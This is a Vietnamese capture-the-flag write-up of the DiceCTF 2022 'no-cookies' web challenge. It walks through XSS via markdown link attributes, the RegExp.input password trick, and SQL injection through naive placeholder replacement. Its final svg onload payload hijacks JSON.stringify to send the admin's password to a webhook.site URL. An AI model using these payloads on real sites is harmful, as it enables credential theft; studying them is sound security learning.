Link challenge
https://instancer.mc.ax/no-cookies
https://admin-bot.mc.ax/no-cookies
Source code
Sơ lược về trang web
overview
- Sẽ có 2 chức năng: Register -> đăng kí account và create note -> tạo note
- Hoạt động không dựa trên cookie mà yêu cầu ta nhập lại username, password mỗi lần thực hiện một hành động nào đó.
Ở phần Create Note thì ta có 2 tùy chọn là Markdown hoặc là Plain. create note option
Phân tích
1. XSS qua markdown option
Đọc qua source code thì thấy phần lớn các trang view.html, register.html đều thuộc dạng client side rendering markdown note hander
Điều đáng chú ý ở đoạn code này là nếu note nhập vào có dạng [blabla](test)
thì sẽ return thẻ a: <a href = "test">blabla</a>
Từ đây có thể dễ dàng khai thác XSS: ta dùng 2 thuộc tính autofocus và onfocus để trigger nó
1
<a href ="test" autofocus onfocus= "alert`1">
Điều đáng buồn là khi tạo note: (foo)[http://example.com" autofocus=autofocus onfocus="alert(password)]
(ở đây escape )
trở thành )
để cho regex không làm mất đi )
) Gửi note và ấn view xuất hiện pop-up undefined
😟
Quay lại source code thấy rằng const password
, được định nghĩa trong một anonymous arrow function và đoạn code được thực thi bên ngoài nó (đến từ HTML event handler)
Nhìn lại source, để ý cách validate password:
1
2
3
const validate = (text) => {
return /^[^$']+$/.test(text ?? '');
}
Chỉ đơn giản là kiểm tra sao cho phải có tối thiểu 1 kí tự và không tồn tại '
hoặc $
Mình tìm được một thứ thú vụ về Regex. Đại khái là: RegExp.input
hoặc RegExp.$_
sẽ trả về chuỗi match với regular expression.
Ví dụ:
1
2
3
4
5
6
7
var re = /hi/g;
re.test('hi there!');
RegExp.input; // "hi there!"
re.test('foo'); // new test, non-matching
RegExp.$_; // "hi there!"
re.test('hi world!'); // new test, matching
RegExp.$_; // "hi world!"
Nhưng tất cả những .replace()
call từ markdown parsing đã làm thay đổi giá trị của nó (overiding the password) vì vậy không thể khai thác thông qua markdown note -> chỉ còn lại con đường plain note.
2. XSS qua plain option
database handler code1
database handler code2
Ta có thể thấy trước khi chèn vào DB, note bị replace <
và >
gây khó khăn cho việc khai thác.
Nhưng prepare function
đã giải quyết vấn đề này, hàm này đơn giản chỉ là replace lần lượt :id, :username, :note, :mode
thành các giá trị tương ứng với nó.
1
2
3
4
5
6
{
id: "12345",
username: ":note",
note: ', :mode, 22, 0)-- ',
mode: '<img src=x onerror="alert(RegExp.input)">',
}
sqli poc
Khai thác
response
result
Overwrite “document.querySelector” và “JSON.stringify”
ở phần này mình sẽ đề cập tới một cách khai thác khác.
Cách này thì vẫn vận dụng sqli như cách trước để chèn xss note vào db nhưng khác ở chỗ xss note sẽ là:
1
<svg><svg/onload="document.querySelector=function(){JSON.stringify=a=>fetch(`https://webhook.site/1e6c4248-b312-498b-93c3-073ffc762693?`+a.password),arguments.callee.caller()}">
Code này thực hiện việc rewrite lại hàm document.querySelector
và JSON.stringify
, sau đó gọi arguments.callee.caller()
- Line 59 thực hiện gán
innerHTML = Plain note
của ta đồng thời kích hoạtonload
event củasvg
thực hiện việc ghi đè hàmdocument.querySelector
. - Line 60 gọi tới
document.querySelector
(lúc này là hàm mà ta đã định nghĩa lại): thực hiện ghi đè hàmJSON.stringify
và đồng thời gọi tớiarguments.callee.caller()
. - Có thể hiểu arguments.callee là chỉ hàm hiện tại đang thực thi ->
document.querySelector
vàarguments.callee.caller()
là hàm gọi tới nó, chính là cáiasync ()
bao trọn tất cả code. Hay nói cách khác mục đích củaarguments.callee.caller()
là để chạy lại đoạn code từ 24 – 62 một lần nữa. Lúc nàyJSON.stringify
nhận vào một object bao gồm password sẽ thực hiện fetch tới web hook của ta và boom flag!
dice{curr3nt_st4t3_0f_j4v45cr1pt}
Tham khảo
https://blog.bawolff.net/2022/02/write-up-for-dicectf-2022-nocookies.html